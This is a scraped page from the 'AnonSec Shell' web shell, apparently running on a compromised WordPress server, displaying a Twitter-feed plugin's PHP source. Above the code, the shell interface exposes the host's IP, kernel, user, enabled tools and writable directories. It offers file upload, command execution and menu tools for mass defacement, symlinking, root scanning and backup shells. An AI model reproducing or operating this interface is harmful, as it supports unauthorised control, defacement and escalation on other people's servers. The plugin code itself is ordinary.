AnonSec Shell
Server IP : 165.22.154.248  /  Your IP : 216.73.217.54   [ Reverse IP ]
Web Server : Apache/2.4.29 (Ubuntu)
System : Linux droplet-integra 4.15.0-197-generic #208-Ubuntu SMP Tue Nov 1 17:23:37 UTC 2022 x86_64
User : www-data ( 33)
PHP Version : 7.2.24-0ubuntu0.18.04.15
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,
Domains : 1 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /proc/self/cwd/wp-content/plugins/twitter-tweets/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /proc/self/cwd/wp-content/plugins/twitter-tweets/load-tweets.php
<?php
	defined( 'ABSPATH' ) or die();

	use Abraham\TwitterOAuth\TwitterOAuth;

	$wl_twitter_api_settings = get_option('wl_twitter_api_settings');


	$temp_wl_twitter_consumer_key 	 = "";
	$temp_wl_twitter_consumer_secret = "";
	$temp_wl_twitter_access_token 	 = "";
	$temp_wl_twitter_token_secret 	 = "";

if( ! empty( $wl_twitter_api_settings ) ) {
	$wl_twitter_consumer_key 	= $wl_twitter_api_settings['wl_twitter_consumer_key'];
	$wl_twitter_consumer_secret = $wl_twitter_api_settings['wl_twitter_consumer_secret'];
	$wl_twitter_access_token 	= $wl_twitter_api_settings['wl_twitter_access_token'];
	$wl_twitter_token_secret 	= $wl_twitter_api_settings['wl_twitter_token_secret'];
}

	/* temp value assigned in case of empty value coming from DB */

	$wl_twitter_tweets = ( isset( $wl_twitter_api_settings['wl_twitter_tweets'] ) ) ? $wl_twitter_api_settings['wl_twitter_tweets'] : '5';
	$wl_twitter_layout = ( isset( $wl_twitter_api_settings['wl_twitter_layout'] ) ) ? $wl_twitter_api_settings['wl_twitter_layout'] : '6';

	function get_twitter_connection( $wl_twitter_consumer_key, $wl_twitter_consumer_secret, $wl_twitter_access_token, $wl_twitter_token_secret ) {
		try {
			$twitter_client = new TwitterOAuth( $wl_twitter_consumer_key, $wl_twitter_consumer_secret, $wl_twitter_access_token, $wl_twitter_token_secret );
			$content = $twitter_client->get( "account/verify_credentials" );
			if ( ! $content ) {
				throw new Exception( esc_html__( 'Connection Error', 'twitter-tweets' ) );
			}
		} catch ( Exception $e ) {
			echo esc_html($e->getMessage());
			return null;
		}
		return $twitter_client;
	}

	function tweet_time_calculate( $created_at ) {
		$then  = new DateTime( $created_at );
		$now   = new DateTime();
		$delta = $now->diff( $then );

		$quantities = array(
			'year'   => $delta->y,
			'month'  => $delta->m,
			'day'    => $delta->d,
			'hour'   => $delta->h,
			'minute' => $delta->i,
		);

		$str = '';
		foreach ( $quantities as $unit => $value ) {
			if ( $value == 0 ) {
				continue;
			}
			$str .= $value . ' ' . $unit;
			if ( $value != 1 ) {
				$str .= 's';
			}
			$str .= ', ';
		}
		$str = $str == '' ? 'a moment ' : substr( $str, 0, - 2 );

		return $str;
	}

	function makeLinks( $str ) {
		$reg_exUrl     = "/(http|https|ftp|ftps)\:\/\/[a-zA-Z0-9\-\.]+\.[a-zA-Z]{2,3}(\/\S*)?/";
		$urls          = array();
		$urlsToReplace = array();
		if ( preg_match_all( $reg_exUrl, $str, $urls ) ) {
			$numOfMatches       = count( $urls[0] );
			$numOfUrlsToReplace = 0;
			for ( $i = 0; $i < $numOfMatches; $i ++ ) {
				$alreadyAdded       = false;
				$numOfUrlsToReplace = count( $urlsToReplace );
				for ( $j = 0; $j < $numOfUrlsToReplace; $j ++ ) {
					if ( $urlsToReplace[ $j ] == $urls[0][ $i ] ) {
						$alreadyAdded = true;
					}
				}
				if ( ! $alreadyAdded ) {
					array_push( $urlsToReplace, $urls[0][ $i ] );
				}
			}
			$numOfUrlsToReplace = count( $urlsToReplace );
			for ( $i = 0; $i < $numOfUrlsToReplace; $i ++ ) {
				$str = str_replace( $urlsToReplace[ $i ], "<a href=\"" . $urlsToReplace[ $i ] . "\" target='_blank'>" . $urlsToReplace[ $i ] . "</a> ", $str );
			}

			return $str;
		} else {
			return $str;
		}
	}
	if ( isset( $wl_twitter_consumer_key ) ) {
		$connection = get_twitter_connection( $wl_twitter_consumer_key, $wl_twitter_consumer_secret, $wl_twitter_access_token, $wl_twitter_token_secret );
	}
	else {
		$connection = get_twitter_connection( $temp_wl_twitter_consumer_key, $temp_wl_twitter_consumer_secret, $temp_wl_twitter_access_token, $temp_wl_twitter_token_secret );
	}

	if ( ! $connection ) {
		$error_messaage = esc_html__("Can't connect to Twitter API. Check your internet connection.", 'twitter-tweets');
		die( $error_messaage );
	}
	$statuses = $connection->get( "statuses/home_timeline",
	["count"           => $wl_twitter_tweets,
	"exclude_replies"  => 'false',
	"include_entities" => 0	]);

Anon7 - 2022
AnonSec Team